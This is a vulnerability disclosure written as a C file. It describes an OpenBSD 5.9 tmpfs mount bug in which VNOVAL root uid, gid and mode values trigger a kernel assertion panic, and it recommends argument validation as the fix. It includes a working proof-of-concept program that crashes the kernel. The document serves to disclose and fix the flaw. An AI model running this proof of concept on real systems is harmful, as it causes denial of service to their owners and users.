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#ifdef BUG_WRITEUP //---------------------------------------------------
Tmpfs mount with bad args can lead to a panic
Impact:
Root users or users on systems with kern.usermount set to true can
trigger a kernel panic when mounting a tmpfs filesystem.
Description:
The tmpfs filesystem allows the mounting user to specify a
username, a groupname or a device name for the root node of
the filesystem. A user that specifies a value of VNOVAL for
any of these fields will trigger an assert in tmpfs_alloc_node():
KASSERT(uid != VNOVAL && gid != VNOVAL && mode != VNOVAL);
This condition can only be triggered by users who are allowed
to mount a tmpfs filesystem. Normally this is the root user, but
if the kern.usernmount sysctl variable has been set to true,
any user could trigger this panic.
Reproduction:
Run the attached mount_panic.c program. It will mount a tmpfs
filesystem with invalid settings and will lead to a panic of
"panic: kernel diagnostic assertion "uid != VNOVAL && gid != VNOVAL
&& mode != VNOVAL" failed". NCC Group was able to reproduce this issue
on OpenBSD 5.9 release running amd64.
Recommendation:
Validate the args.ta_root_uid, args.ta_root_gid and args.ta_root_mode
fields in tmpfs_mount() before calling tmpfs_alloc_node().
Return an error to the user when an invalid argument is detected.
Reported: 2016-07-11
Fixed: http:
#endif // BUG_WRITEUP ---------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/mount.h>
#define VNOVAL (-1)
int main(int argc, char **argv)
{
struct tmpfs_args args;
int x;
memset(&args, 0, sizeof args);
args.ta_version = TMPFS_ARGS_VERSION;
args.ta_root_uid = VNOVAL;
args.ta_root_gid = VNOVAL;
args.ta_root_mode = VNOVAL;
x = mount("tmpfs", "/mnt", 0, &args);
if(x == -1)
perror("mount");
printf("no crash!\n");
return 0;
}
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